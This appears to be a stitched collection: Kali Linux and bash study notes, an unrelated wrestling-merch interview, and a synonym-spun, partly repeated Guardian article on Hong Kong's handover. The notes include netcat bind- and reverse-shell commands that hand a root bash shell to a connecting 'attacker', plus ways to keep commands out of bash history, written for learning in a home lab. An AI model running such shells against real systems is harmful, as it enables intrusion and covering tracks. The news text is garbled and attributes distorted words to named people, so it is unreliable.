type: awk ‘{print $1,$2;}’ raystest  thus telling it to print to screen only the first and second columns. • Starting services: when you do a fresh install of kali linux, postgresql and metasploit are not started by default, so if you want to start a service you type: service postgresql start, or service apache2 start, etc. now to make these start on bootup you have to manipulate the update-rc.d, so type: update-rc.d postgresql enable, then type in update-rc.d metasploit enable, now when you restart kali it will auto start these services • Setting up networking in kali: ifconfig is the command to list the same stuff ipconfig does. The command route will show you the routing tables including what your gateway is. So to set a static address just on the fly you find what your eth interface number is and type: ifconfig eth0 10.0.0.20/24 to put this in a class c address. To make sure the static address persists upon restarts you have to edit the file under /etc/network/interfaces. I just opened this in leafpad, note the auto lo, iface lo inet loopback lines, that’s for the loopback address. So comment out the next section which is probably the dhcp ones, right below it type in: auto eth0 iface eth0 inet static address 10.0.0.20 netmask 255.255.255.0 gateway 10.0.0.4

once that’s done, save it and then restart networking with the command: service networking restart

• To view network connections such as ports listening , etc, type: netstat  -antp • Netcat: they call this the swiss army knife for hackers, lets do some exercises with it. First start by looking at the help file nc  -h 1. Lets check to see what ports are listening,(first start the apache2 service) type: nc  -v  <the address of your kali machine>  80 2. If you had started the apache service you should see it shows there as open 3. You can also set up a listener port, type:  nc  -lvp  1234 4. The l here is for listen, the v is for verbose, the p is to specify the port to listen on 5. Lets open up a second terminal window and use netcat to connect to the listener 6. In the second terminal type: nc 10.0.0.100  1234 and hit enter 7. The first terminal should show you connected 8. Now lets chat from the second terminal by typing : sup and hit enter 9. The word “sup” should show on the first terminal 10. In the first terminal do the same and it should show up on the second terminal 11. Ctrl –c (by the way you could demo this by using metasploitable2 and kali as well) 12. Now lets say we want our listener (victim) to give the second terminal (attacker) a bash shell when they connect 13. On first terminal type: nc  -lvp 1234  -e  /bin/bash (the  -e is to set an executable) 14. In the second terminal type:  nc 10.0.0.100  1234 and hit enter 15. It wont show anything but give it a second (you may have to hit enter on the first terminal to get it to register that it connected) and in the second terminal window type in whoami in the terminal and it should show root 16. Type in “id” and you should see the uid, gid and groups all showing root (0) 17. Ctrl-c 18. In addition to giving a shell from the listener you can also push a shell back to the listener 19. On the first terminal type: nc  -lvp 1234 20. On the second terminal type : nc 10.0.0.100 1234  -e /bin/bash (if doing this from win 7 replace /bin/bash with cmd.exe) 21. Back on your first terminal type in whoami and you should see root 22. Ctrl-c 23. Now lets send a file using netcat 24. In the first terminal type: nc  -lvp 1234  > netcatfile   (this is basically setting up an empty file on the listener to receive a file from the attacker and stuff it in this file) 25. In the second terminal type: nc 10.0.0.100  1234  <  raystest   (this is if you did the previous exercises) 26. Ctrl-c and now in the first terminal type: cat netcatfile, it should contain the same text from raystest (1 warrior favorite, etc)

* if i type history in bash it will show me all the commands that i recently typed. This is good for quick re commands but bad if a hacker gets a hold of this because it will also have the passwords i entered. so like if i was downloading with wget and i did like --user ray --password lamepassword http://somesite.com , this stuff gets logged in bash history. so how about we store our passwords in temporary variables like so: so for this we need to define a variable and we do this with the read command. read -e -s -p "pass?" password hitting enter should put us in an interactive prompt showing pass? and here is where we type in our password (you cant see it as you type it). -e is If the standard input is coming from a terminal, readline is used to obtain the line. -s is Silent mode. If input is coming from a terminal, characters are not echoed. -p mode is The prompt is displayed only if input is coming from a terminal. we can do echo $password to see the password i just typed. so now our wget command would look like this : wget --user ray --password "$password" http://somesite.com. run history again and see that the plain text password is not there.

* export HISTORYCONTROL=ignorespace is a way to get around having some stuff recorded in bash history. Now if i type a space (sometimes two spaces if it doesnt work) before my command it will not record it in bash history.

* also you can do export HISTIGNORE="pass:wget:ls"  and now the history will ignore anything with the words pass, wget, and ls.

* if i type password=1234 then echo $password , it will echo that value of 1234. but if i do unset password, this will release the variable and when i type echo $password i get nothing

* if i want to delete something out of history i type history -d and then the number of that entry in history. so like history -d 15  will delete whatever is in the 15th history entry.

keyboard shortcuts: if im at the end of a line, hitting my home key brings me back to beginning. the end key will bring you back to the end of the line. control + U clears the whole line (as opposed to me backspacing all of it). control + L clears the screen.

lsof will show a list of open files. I can check all the details including the tcp connections and addresses of a firefox instance i have up and running by typing lsof -i -n -P | grep firefox. the -i option selects the listing of files any of whose Internet address matches the address specified in i. If no address is specified, this option selects the listing of all Internet and x.25 (HP-UX) network files. the -n option inhibits the conversion of network numbers to host names for network files. Inhibiting conversion may make lsof run faster. It is also useful when host name lookup is not working properly. the -P  option inhibits the conversion of port numbers to port names for network files. Inhibiting the conversion may make lsof run a little faster. It is also useful when port name lookup is not working properly.

try netstat -tupac, lotsa info on your current connections

df command shows you the current free disk space, free command shows you the current free memory

pwd is print working directory

if i want to list all the stuff in Documents and list all the stuff in Pictures, I dont have to do 2 ls commands I just type ls Documents Pictures and it will show both (not backtrack but just regular ubuntu or similar distro

* ls -lt will add a time option to the list

* if i want to find out what type of file i have i type in file then the name of the file. example: file dateping.sh will tell me its a posix shell script

* less command lets me view a text files contents in terminal. Q will quit me out of there

* wildcards: if i wanted to move any files that start with the letters "up" i would type mv [up]*, now anything that starts with "u" , mv u*, now anything that starts with "u" and is the extension of .bin, mv u*.bin.

* filenames are case sensitive (like when moving and copying)

* spaces in filenames confuse bash as well

* two exclamation marks !! will run the last command

* type command will tell me what time of command im running. For instance if i wanted to see what type of command "type" is i type in type type, and it will show that its a shell builtin command

* which command will tell me where the commands are found. so if i type in which ls, it will show that the ls command is found in /bin/ls. it doesnt work for aliases to executables, like if i typed in which cd i get nothing as its just an alias for change directory

* help cd will tell me about the cd command

* mkdir --help will tell me help about mkdir

* man ls will give me the manual page for ls, I hit q to get out of it.

* apropos will show me all instances of a word , like apropos passwd.

* whatis will also tell me what a command is, whatis ls

* info will give me verbose info about a command

* i can chain commands together on the same line using semicolons between each command. So if i wanted to change to a directory and also look at its contents, then send me back to my working directory: cd /usr; ls;cd -   would do this for me

* now lets say i wanted to make that last command an alias called foo, i would do alias foo='cd /usr;ls;cd -'  now i can just type foo and it will run it. This will not persist when i close the terminal however. to make it permanent, gedit .bashrc and under the section that has aliases, put your alias there and save it. then close the current terminal and reopen it and you should be able to use it now with the alias name. if you do type myfoo you will see all the commands that are strung. You can move that bashrc file to other machines to persist your aliases across other machines

* unalias foo will take away that alias

* all the programs in the terminal give you some sort of output, whther it be a result or an error message. these are sent over to a file called standard output, stdout for short. that messages to a file called standard error, stderr for short. by default these files arent saved to the disk. the keyboard is automatically tied to the stdin , which is standard input. so we can change where the output goes and where the input comes from, rather than just the keyboard. so if i did ls -l /usr/bin in the terminal it will print to screen, but if i do ls -l /usr/bin > ls-output.txt, it will output it to a text file. Now if i had this file and typed ls -l /bin/usr > ls-output.txt, this will give an error because /bin/usr doesnt exist. This will also overwrite whatever was previously in the ls-output.txt file. this means it will be empty because it will have started writing to it , but stopped when it got this error. now if i want to append files to an existing one and not overwrite the data in it it  use >> so like ls -l /usr/bin >> ls-output.txt, and then ls -l /usr/bn >> ls-output.txt will make this file doubled in size.

* cat is used to display the results as well, like cat ls-output.txt will print to console all of the content in that file. i can also use it to concatenate or join various files that are in succession. example, if i had movie.avi.001, movie.avi.002, and movie.avi.003 and i wanted to join them together i would type cat movie.avi.0* > movie.avi. I can also use cat to make content for a new text file. So if i type cat > newtext.txt and hit enter it will just wait there for input. So if i type the words this is a test and hit enter then type of the broadcast network and hit ctrl + d, ctrl + d , it will bring me back to the prompt. then if i open that text file it will have the content in there as i typed it.

* echo with a letter then an asterix will show you all the files in your current directory that start with that letter. echo *p will show all the files in this directory that start with p. this is also case sensitive. echo [[:upper:]]* will show everything in this dir that is uppercased.

* to find hidden files iin the directory your in : ls -d .[!.]?*  you could also use ls -la

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Finding your niche: Interview with Sara Pattison

My interview this week is with a friend and my travel partner. Sara (the founder of Cheapshot merch) and I met at a local wrestling show in Quincy in January. The next time we’d see each other would see Sara travel from Chicago, to Quincy to pick me up, then Pontoon Beach. She drove a straight 14 hours in total that day because of her commitment to networking, and watching wrestling.

Jonah: When did pro-wrestling come into your life?

Sara: “My dad, Rick, got me into wrestling when I was pretty young. I was around 4 years young or so. He's my best friend and I was his youngest child so, he took the fact that I was already a tomboy, and sat me in front of the TV one night to watch wrestling and made it a tradition. I cant remember the specific match I first saw, but when i started watching it, you had all the legends in their prime. The Rock, Hogan, Stone Cold, Degneration X. I remember then women's wrestling wasn't exactly a thing just yet but as I continued to watch wrestling, it morphed into a thing and man. That in itself really captivated me to continue to watch. To see women on my TV screen doing some badass dives and really going toe to toe with each other was inspiring as hell.“

You’ve met a lot of people on the business. Who are your favorite people to see wrestle and where? 

“Indy wise, despite the fact he's not in the indies anymore, it will always be Cedric Alexander. Hands down. He's an incredible athlete, entertaining, and all around a super rad guy. Also, he lumbar checked Candice LeRae and it was pure gold. I would always go see him in Cleveland, Ohio. I remember that show but I don't know how I remember it considering I was pretty... not sober. But i remember pieces of it and that was one. Also the fact that I cussed Nick Gage out and didn't let him cut his promo in the ring because I was yelling at him the entire time. Don't blame me, blame the mark in me. And the alcohol. I also love going to N.O.W in Ohio, too. It's packed full of talented people - new to the scene and not so new to the scene. The shows are always A1 and Robert is an amazing promoter. I haven't really gone to many shows since I've moved back to Illinois but I have no issues making that 8 and a half hour drive to go to N.O.W because the quality is that damn good.”

Is there some advice you’ve gotten about the wrestling business you’d like to share?

“Some advice? Oh man, let's see. I have personally always been on edge, back and forth with the thought of training, myself. So when Cedric had brought it up and we had been talking about our love of wrestling, he asked me if I ever thought about training. And I just explained to him that I have but I'm too nervous because I might not be good and I'll disappoint myself and had concerns about my heart problems getting in the way or hindering me in some ways. And he basically told me that, besides the heart problems being a reason, everything else was an excuse. I was holding myself back. He said that with wrestling, as well with anything, you just have to do it. There will be times where you figuratively reach that cliff after climbing the mountain and you just...have to jump. No hesitation. Just do it. Age is no excuse. The fact that I was and am a bit heavier than I'd like to be, no excuse. Just go for it. He said that moves and mic skills can be taught but passion cannot. And nothing will hold you back from your passions.”

What makes you want to keep watching wrestling?

“I don't watch WWE that much anymore. If I do, it's NXT or PPVs that I watch with my dad. And I think that's the biggest part of it all. My dad. He got me into wrestling initially and when I got older I started connecting with workers from all over and just branched out from there. But my dad used to travel a lot. He's met several huge, infamous names in the biz. Hogan and Andre being two. He had drinks with them at an airport bar one time and tells me that story often , but I love it. Because I can just imagine what they talked about and how my dad was feeling sitting next to two men he watched on TV and now he's casually having drinks with them. Wild. And besides my father, watching my friends evolve and really chase after their dreams in the business is just so fun for me. I always tell them to just throw me in the trunk and let me go on the road with them. It's just a lifestyle that I've grown to love and I'm so happy and appreciative that I get to be apart of it in the way that I do.”

Do you have any plans to train soon? Who do you look at for inspiration of style?

“Ugh. [Laughs]. I don't know. Honestly at this point in my life, I think I'd much rather be behind the scenes. And if anything, be the next Paul Heyman. But wrestle? Nah. I feel like I'm pretty entertaining and have no qualms claiming that and being confident in that. I'm very expressive with my movements and facial expressions but I think becoming an actual wrestler would just be too risky for me, health wise. My heart problems are pretty serious and there's no changing that. But I still imagine it, a lot, being a wrestler. I pulled a lot of inspo from women like Lita, Victoria, and even Sable and I have a few female friends who are amazingly talented workers on the indy circuit who I love watching them grow on their journey. It just makes my soul so happy to see my friends live out their dreams and I'm 100% okay being an on looker. Holler at me for some graphic design work, though.”

What sparked the idea to start Cheapshot?

“I wanted to find my niche in the business and graphic design seemed like it would be just that. I'm self taught but went to school for it. Only for like, two semesters but it still counts [Laughs]. I did this shirt design for my ex years ago and holy sh*t when I tell you it was the absolute worst......it was the absolute worst. I mean, just so pixelated and white pixels on the edges and..yeah..it just was not good. I felt terrible because his mom bought one and I'm like, cool, what an impression you're making right now by giving her some shit artwork for her son. *Slow clap*. But since then, I've gotten far better. The classes I took helped me understand color better and understand the business side of graphic design. I've always held this dream of having a traveling t shirt shop on wheels and honestly, I figured that's going to take a bit to save up for. So in the mean time, let me do this. Let me start a merch company via a dropshipping site and just do it. Like Cedric said, just do it. Go for it. So I finally did. Threw around some names to go by and Cheapshot just stuck with me. Everyone loves a good heel spot,a good cheapshot. I wanted workers to have an easier and cheaper (no pun intended) option to get merch. I take no money up front and they receive full profit of whatever sales they make. And I know even the smallest amount is something to these guys and gals. They work so hard and give so much to their fans and the audiences weekend in and out...I just really wanted to help them grow.

Cheapshot stands out because it's just me. I'm doing the artwork, I'm connecting with wrestlers who want to have merch out there but can't necessarily fork out $200 plus dollars to get it physically, and I (attempt) to run the Facebook page, as well. On top of all that, I work two jobs and I'm a mom, too. So, you don't see many female bosses in the wrestling world. It's nice to plant that seed and begin growing in that position. I've got huge goals and visions for Cheapshot and I'm really grateful for the athletes that have taken a gamble on me representing them via merchandise.”

Where can people find your store and reach out to you for designs?

“ Visit Cheapshot Merch on Teepsring

and feel free to add me on Facebook Sara Pattison. Follow me on Instagram @thelifeofjohnni. Reach out to me about doing some business via those two social medias or if you're more old school, shoot me an email at [email protected]. And if you mention how retro I am for using AOL, I'll send you $5 (don't actually do this because I actually won't).”

Who’s hot in the independent scene that you’re aware of? Shout out da homies

“SHOUT OUT TO DEMMMM. THE COME UP IS NIIICEEE. But uh, yeah, I love watching Terra Calaway, Alex Weir, Indy Card Mafia (ayye, fellow interviewee), Space Monkey, Sage Sin, Curt Ganon to name a few. And no one could ever forget Uncle Bob Evans - you would seriously be a damn fool to not attend his seminars.”

Sara, you’re a saint and I love you. Thank you so so so much

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How China changed Hong Kong: views from the city

As the 20 th commemoration of the handover from the UK to China is commemorated, the Guardian talks to residents and officials about the changes since 1997

Hong Kong is preparing to mark the 20 th remembrance of the handover of its national territory from the UK to China. The minute will bring thousands on to the streets some to celebrate and others to assert. Now the Guardian invites six Hong Kong inhabitants about their reminiscences of 1997 and their imagines on the citys future.

Yau Wai-ching, disqualified lawmaker

Hong Kong parties have been forced to pay for a deceit.

Yau Wai-ching in Hong Kongs Sheung Wan district. Picture: Benjamin Haas for the Guardian figcaption > informant > At midnight on 30 June 1997, I recollect a heavy rain and my seeings virtually closing, virtually falling asleep. But I didnt. I was forced to concentrate on my parents age-old television screen, watching two flags: one was the flag of United kingdom government, the other was Chinas. I tried to ask my mummy about what was happening on that screen, but I could not understand, except for the one phrase that I learned that evening: handover.

Nothing changed the next day. In my world as a six-year-old I was waiting till September when I would become a primary 1 student. My mothers said the handover intended good-for-nothing to them as they still had to work and pay taxes. Everything seemed to remain unchanged, exactly what the Chinese government promised to the Hong Kong people.

But then time by time, Cantonese began to be replaced by Mandarin, our constitutional laws obligated in the 1980 s have been amended and understood by the Chinese authority, and qualities among Hong Kongers changed after an influx of more than a million immigrants from China since 1997. Those mainlanders have come to dominate lots of the social sky. Regionals are now ever denounced as discriminating against those new immigrants if we ever conveyed a different opinion and sometimes we are even slurred as totalitarians or racists.

In these past 20 times, Hong Kongers still believe in the law and the courts, fairness and democracy, but we no longer believe in the system and regulations created by the Chinese government. Instead of becoming more like Hong Kong, the Chinese government will use any type of publicity or immigration policy to clear us more like them.

We have started to realise that the United kingdom government and China signed a treaty in 1984 that was supposed to protect Hong Kong, but it has turned out to be a subterfuge and a laugh. Since the handover all Hong Kong beings have been forced to pay for that deceit.

Holden Chow, pro-establishment lawmaker

Hong Kong is part of China and “were about” Chinese: this is a fact and never in dispute.

Holden Chow at his office in Hong Kongs legislative council. Photo: Benjamin Haas for the Guardian figcaption > beginning > I was in UK back in 1997 doing my -Alevels, and I returned to Hong Kong before 1 July to evidenced the handover formality. As a patriot, I was always happy to see the handover and the establishment of Hong kong sar of the Peoples Republic of China. I repute the one country, two systems works well: Hong Kong definitely has been able to sustain affluence and with the full patronage from central government, we even have existed global economic crisis.

It is reasonable for us to expect the difficulties and conflicts to arise in the course of implementing the one country, two systems principle. But what actually stuffs is how do we resolve such conflicts. The opponent or the so-called pan-democrats perhaps favor stirring up conflicts, or to simply blow everything out of proportion. Owing to the Occupy campaign orchestrated by the opponent, Hong Kong has become heavily subdivided. The pan-democrats might clock up public backing in the course of fomenting upheaval in the city, but that is done at the expense of the citys interests.

As a member of the pro-establishment tent, I anticipate adjudicating conflicts around an friendly method is a better preference than what the foe has been doing.

The majority of Hong Kong people have never expressed support for the notorious project of Hong Kong independence. Hong Kong is part of China and we are Chinese: this is a fact and never in dispute.

The growth and development of China surely offers opportunities to Hong Kong extremely. I trust one country, two systems is the best option for Hong Kong and for mainland China extremely, and the central government fully understands this. The foe had all along been falsely accusing that the city is entirely lost our autonomy and rule of principle, which is utterly misleading. A robust one country, two systems regime could be upheld only if the resist stops attempting to spoil the confidence between Hong Kong and central government, such as peddling separatism, or forgiving the wrongful conduct in oath-taking adventure.

Zhang Zhenping, dumpling stall owned

For all of Hong Kongs glitches, its still a more free place.

Zhang Zhenping, a dumpling stall proprietor initially from Tianjin, China, in her supermarket in Hong Kong. Picture: Benjamin Haas for the Guardian figcaption > root > When I first arrived in Hong Kong from China in the early 90 s, there was intense vitality. I came here to make money, and although there are I do not have a lot of education or culture, I lived well and I could provide for my family preparing dumplings in a restaurant.

Hong Kong was a much more equal neighbourhood 20 years ago and there was more financial proliferation for everyone. Beings like me at the bottom still came bonuses and although I worked hard, sweating in kitchens realizing hundreds of dumplings, wontons and buns every day, my fund felt like it was worth more. Now Im acting even harder for less.

Since the handover life has already become much harder for regular working person, expenditures for everything is going up and it has hit parties like me the most. These changes dont change the rich, but I merely build meat, because I dont have any culture and I can never be rich.

These daylights all the economic opportunities are in China; Hong Kong cant participate. My old-time boss from the restaurant shut his business now and went back to Beijing. He said he could do more fund there.

I chose to stay, so I opened a dumpling stop 3 years ago. Its not much, but Im my own boss a bit boss, but still a boss.

But despite all the hardship and bitterness, I feel better now. I go back to my hometown in China maybe once a year. People have money, but they have so much better life influences and are miserable.

I dont want to go back to the mainland, I dont like the politics there at least here people can say what they miss. For all of Hong Kongs demerits, its still a more free place.

Amy Cheung, artist

We seem to rally towards extraordinary polarisation at every level of society.

Artist Amy Cheung at her home in Hong Kong. Photograph: Benjamin Haas for the Guardian figcaption > root > I was studying in London in 1997, a year that labelled my name enlightenment. In Britain, numerous people asked me once they knew that I came from Hong Kong: How do you feel about Hong Kong being returned to China? Are you startled? Dont you worry about your liberal way of life being mashed by the Communist China? Are they going to control your press, internet, limit your freedom of speech, belief, passage, currency and the principles of the rule of ordinance?

Others speculated: You must be so happy that Hong Kong now returns to the espouse of the Motherland, ending your shame of living as colonised subject. You can now stand tall with pride to acknowledge that you are sons and daughters of the dragon, with 5,000 years of civilisation, part of a great China the Middle Kingdom.

My face extended blank. Freezing sweat. I opened my cavity but my tongue ended. My brain scanned through the great capacity of information that had been spoon-fed to me since I was born, all data, happenings, figures, workbooks, qualifies for testing and examsthat I exceeded at to get to where I was. But I was so ignorant about the constituencies of my identity, cultural heritage; moral, ethical and national importance; belief organizations, functions, rights and all collateral issues related.

Was this intentional indifference a colonial education container? I still ponder. Twenty years ago, name politics had failed to arrest either learners or professors courtesy, unlike today. I was completely perplexed by my inability to feel any ardour at that crucial juncture of our history. I was not altogether apathetic, although it seems hard it is now time imagine that my contemporary grown up apolitical.

However, I did witness the self-determination discourse that took off steadily after 1997. An awareness of our government identity burst into our communal consciousness, from the momentum gleaned around the anti-subversion rule, anti-national education objection, the annual 1 July rally, umbrella rebellion, and the endless paralysing crusade between the pro-establishment and pan-democratic camp.

In 2017, I find breathless to ordeal Hong Kong at such a high feelings altitude. Blood is easily stewed, grey zones get greyer, reconciliations are almost impossible. I dont know how, but we seem to procession self-destructively towards an remarkable polarisation at all levels of society.

Karl Mayer, merchant

Hong Kong beings are survivors who stand up instantly after a fall.

Karl Mayer, a German entrepreneur, in front of Hong Kongs Victoria Harbour. Photo: Benjamin Haas for the Guardian figcaption > beginning > For a fast-moving municipality like Hong Kong, change is inevitable. Still little had changed following the end of the handover to China and for the first years the only obvious change was the lore that now the Chinese legion was stationed in Prince Edward building hoisting the Chinese pennant in the middle of Hong Kong.

In the late 90 s, Hong Kong still seemed to remain a free municipal running its own method and still flourishing from being considered the gateway to China. Even the first chief executive, Tung Chee-hwa, at least tried to protect the interests of Hong Kong parties and negotiate with the Chinese authority on heart level. This, however, rapidly changed with the arrival of the new millennium and the gold-rush atmosphere in mainland China.

Hong Kong lost its role as gateway to China and international patrons started to deal instantly with the mainland. Hong Kongs answer was to quickly adapt by trying to establish the city as an amusement, amusement, shopping and tourism hub and the concept worked out with piles of tourists flowing into Hong Kong every year especially from China.

Becoming part of China will remain the big topic over the next 30 times and the subtle attempts from Beijing to infiltrate Hong Kong with usage, education and the election system will become more overt and direct and will affect likewise other areas such as investment, commerce, taxes and politics. To give this to the HK parties and the world in a positive way will be the most important role of the newly elected chief executive.

The stream of tourists will ultimately decline, especially from China who will start jaunting to countries greatly abroad. Although women enjoy excellent food and scenes in Hong Kong, the city does not bring home fond memories of being treated respectfully, nature and politely.

Only having aged and rich person in a city who are come in the winter to remain and enjoy the warmth and pleasantries of Hong Kong will turn the city into something like Monaco in Europe.

On the other hand I have to say that I knew Hong Kong people as survivors who stand up promptly after a come and adapt rapidly to new situations as they have shown after the handover.

Richard Margolis, onetime UK diplomat

China must keep its hopes but Hong Kong has to keep its feature of the bargain as well.

Richard Margolis, a onetime UK diplomat who negotiated the terms of Hong Kongs handover to China. Photo: Benjamin Haas for the Guardian figcaption > informant > Twenty years after the handover, the key elements which form Hong Kong differences between China are still present: freedom of expression, freedom of assembly, freedom of conscience and an independent judiciary. Will this sustain, specially since Hong Kongs importance to China has waned in the past 20 times? Answer: yes but only if both Hong Kong and Beijing keep their surfaces of the bargain.

Before excusing this, a couple of basic notions which are often forgotten:

It is not and never has been a required health for Hong Kongs survival for China to be ruled by people who share the values that underpin Hong Kong . li> All that is required of Chinas commanders is that they perceive a balance of advantage to them in continuing to accept Hong Kongs separateness.

That balance of advantage is less overwhelmingly obvious than it was 20 years ago, but still exists, in my opinion. And Chinas chairmen have huge challenges plethora industrial capability, plethora indebtednes, hindering growth, rapidly ageing person which means that their immense advantage is for Hong Kong to get on with its detached reality, do what it needs to do to adapt to a changing world, remain competitive and not inconvenience Beijing.

But Hong Kong has had a tendency since the handover to ask for special copes, such as CEPA( Closer Economic Partnership Arrangement ). And Hong Kong business people acquired the dres of lobbying in Beijing in pursuit of the best interest in Hong Kong. All of these activities seem to me against the spirit of the handover organisations, who the hell is: You leave us alone and we wont bother you.

So my inference is that it is, of course, essential that China keep its predicts but Hong Kong has to keep its back of the bargain as well.

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How China changed Hong Kong: views from the city

As the 20 th commemoration of the handover from the UK to China is commemorated, the Guardian talks to residents and officials about the changes since 1997

Hong Kong is preparing to mark the 20 th remembrance of the handover of its national territory from the UK to China. The minute will bring thousands on to the streets some to celebrate and others to assert. Now the Guardian invites six Hong Kong inhabitants about their reminiscences of 1997 and their imagines on the citys future.

Yau Wai-ching, disqualified lawmaker

Hong Kong parties have been forced to pay for a deceit.

Yau Wai-ching in Hong Kongs Sheung Wan district. Picture: Benjamin Haas for the Guardian figcaption > informant > At midnight on 30 June 1997, I recollect a heavy rain and my seeings virtually closing, virtually falling asleep. But I didnt. I was forced to concentrate on my parents age-old television screen, watching two flags: one was the flag of United kingdom government, the other was Chinas. I tried to ask my mummy about what was happening on that screen, but I could not understand, except for the one phrase that I learned that evening: handover.

Nothing changed the next day. In my world as a six-year-old I was waiting till September when I would become a primary 1 student. My mothers said the handover intended good-for-nothing to them as they still had to work and pay taxes. Everything seemed to remain unchanged, exactly what the Chinese government promised to the Hong Kong people.

But then time by time, Cantonese began to be replaced by Mandarin, our constitutional laws obligated in the 1980 s have been amended and understood by the Chinese authority, and qualities among Hong Kongers changed after an influx of more than a million immigrants from China since 1997. Those mainlanders have come to dominate lots of the social sky. Regionals are now ever denounced as discriminating against those new immigrants if we ever conveyed a different opinion and sometimes we are even slurred as totalitarians or racists.

In these past 20 times, Hong Kongers still believe in the law and the courts, fairness and democracy, but we no longer believe in the system and regulations created by the Chinese government. Instead of becoming more like Hong Kong, the Chinese government will use any type of publicity or immigration policy to clear us more like them.

We have started to realise that the United kingdom government and China signed a treaty in 1984 that was supposed to protect Hong Kong, but it has turned out to be a subterfuge and a laugh. Since the handover all Hong Kong beings have been forced to pay for that deceit.

Holden Chow, pro-establishment lawmaker

Hong Kong is part of China and “were about” Chinese: this is a fact and never in dispute.

Holden Chow at his office in Hong Kongs legislative council. Photo: Benjamin Haas for the Guardian figcaption > beginning > I was in UK back in 1997 doing my -Alevels, and I returned to Hong Kong before 1 July to evidenced the handover formality. As a patriot, I was always happy to see the handover and the establishment of Hong kong sar of the Peoples Republic of China. I repute the one country, two systems works well: Hong Kong definitely has been able to sustain affluence and with the full patronage from central government, we even have existed global economic crisis.

It is reasonable for us to expect the difficulties and conflicts to arise in the course of implementing the one country, two systems principle. But what actually stuffs is how do we resolve such conflicts. The opponent or the so-called pan-democrats perhaps favor stirring up conflicts, or to simply blow everything out of proportion. Owing to the Occupy campaign orchestrated by the opponent, Hong Kong has become heavily subdivided. The pan-democrats might clock up public backing in the course of fomenting upheaval in the city, but that is done at the expense of the citys interests.

As a member of the pro-establishment tent, I anticipate adjudicating conflicts around an friendly method is a better preference than what the foe has been doing.

The majority of Hong Kong people have never expressed support for the notorious project of Hong Kong independence. Hong Kong is part of China and we are Chinese: this is a fact and never in dispute.

The growth and development of China surely offers opportunities to Hong Kong extremely. I trust one country, two systems is the best option for Hong Kong and for mainland China extremely, and the central government fully understands this. The foe had all along been falsely accusing that the city is entirely lost our autonomy and rule of principle, which is utterly misleading. A robust one country, two systems regime could be upheld only if the resist stops attempting to spoil the confidence between Hong Kong and central government, such as peddling separatism, or forgiving the wrongful conduct in oath-taking adventure.

Zhang Zhenping, dumpling stall owned

For all of Hong Kongs glitches, its still a more free place.

Zhang Zhenping, a dumpling stall proprietor initially from Tianjin, China, in her supermarket in Hong Kong. Picture: Benjamin Haas for the Guardian figcaption > root > When I first arrived in Hong Kong from China in the early 90 s, there was intense vitality. I came here to make money, and although there are I do not have a lot of education or culture, I lived well and I could provide for my family preparing dumplings in a restaurant.

Hong Kong was a much more equal neighbourhood 20 years ago and there was more financial proliferation for everyone. Beings like me at the bottom still came bonuses and although I worked hard, sweating in kitchens realizing hundreds of dumplings, wontons and buns every day, my fund felt like it was worth more. Now Im acting even harder for less.

Since the handover life has already become much harder for regular working person, expenditures for everything is going up and it has hit parties like me the most. These changes dont change the rich, but I merely build meat, because I dont have any culture and I can never be rich.

These daylights all the economic opportunities are in China; Hong Kong cant participate. My old-time boss from the restaurant shut his business now and went back to Beijing. He said he could do more fund there.

I chose to stay, so I opened a dumpling stop 3 years ago. Its not much, but Im my own boss a bit boss, but still a boss.

But despite all the hardship and bitterness, I feel better now. I go back to my hometown in China maybe once a year. People have money, but they have so much better life influences and are miserable.

I dont want to go back to the mainland, I dont like the politics there at least here people can say what they miss. For all of Hong Kongs demerits, its still a more free place.

Amy Cheung, artist

We seem to rally towards extraordinary polarisation at every level of society.

Artist Amy Cheung at her home in Hong Kong. Photograph: Benjamin Haas for the Guardian figcaption > root > I was studying in London in 1997, a year that labelled my name enlightenment. In Britain, numerous people asked me once they knew that I came from Hong Kong: How do you feel about Hong Kong being returned to China? Are you startled? Dont you worry about your liberal way of life being mashed by the Communist China? Are they going to control your press, internet, limit your freedom of speech, belief, passage, currency and the principles of the rule of ordinance?

Others speculated: You must be so happy that Hong Kong now returns to the espouse of the Motherland, ending your shame of living as colonised subject. You can now stand tall with pride to acknowledge that you are sons and daughters of the dragon, with 5,000 years of civilisation, part of a great China the Middle Kingdom.

My face extended blank. Freezing sweat. I opened my cavity but my tongue ended. My brain scanned through the great capacity of information that had been spoon-fed to me since I was born, all data, happenings, figures, workbooks, qualifies for testing and examsthat I exceeded at to get to where I was. But I was so ignorant about the constituencies of my identity, cultural heritage; moral, ethical and national importance; belief organizations, functions, rights and all collateral issues related.

Was this intentional indifference a colonial education container? I still ponder. Twenty years ago, name politics had failed to arrest either learners or professors courtesy, unlike today. I was completely perplexed by my inability to feel any ardour at that crucial juncture of our history. I was not altogether apathetic, although it seems hard it is now time imagine that my contemporary grown up apolitical.

However, I did witness the self-determination discourse that took off steadily after 1997. An awareness of our government identity burst into our communal consciousness, from the momentum gleaned around the anti-subversion rule, anti-national education objection, the annual 1 July rally, umbrella rebellion, and the endless paralysing crusade between the pro-establishment and pan-democratic camp.

In 2017, I find breathless to ordeal Hong Kong at such a high feelings altitude. Blood is easily stewed, grey zones get greyer, reconciliations are almost impossible. I dont know how, but we seem to procession self-destructively towards an remarkable polarisation at all levels of society.

Karl Mayer, merchant

Hong Kong beings are survivors who stand up instantly after a fall.

Karl Mayer, a German entrepreneur, in front of Hong Kongs Victoria Harbour. Photo: Benjamin Haas for the Guardian figcaption > beginning > For a fast-moving municipality like Hong Kong, change is inevitable. Still little had changed following the end of the handover to China and for the first years the only obvious change was the lore that now the Chinese legion was stationed in Prince Edward building hoisting the Chinese pennant in the middle of Hong Kong.

In the late 90 s, Hong Kong still seemed to remain a free municipal running its own method and still flourishing from being considered the gateway to China. Even the first chief executive, Tung Chee-hwa, at least tried to protect the interests of Hong Kong parties and negotiate with the Chinese authority on heart level. This, however, rapidly changed with the arrival of the new millennium and the gold-rush atmosphere in mainland China.

Hong Kong lost its role as gateway to China and international patrons started to deal instantly with the mainland. Hong Kongs answer was to quickly adapt by trying to establish the city as an amusement, amusement, shopping and tourism hub and the concept worked out with piles of tourists flowing into Hong Kong every year especially from China.

Becoming part of China will remain the big topic over the next 30 times and the subtle attempts from Beijing to infiltrate Hong Kong with usage, education and the election system will become more overt and direct and will affect likewise other areas such as investment, commerce, taxes and politics. To give this to the HK parties and the world in a positive way will be the most important role of the newly elected chief executive.

The stream of tourists will ultimately decline, especially from China who will start jaunting to countries greatly abroad. Although women enjoy excellent food and scenes in Hong Kong, the city does not bring home fond memories of being treated respectfully, nature and politely.

Only having aged and rich person in a city who are come in the winter to remain and enjoy the warmth and pleasantries of Hong Kong will turn the city into something like Monaco in Europe.

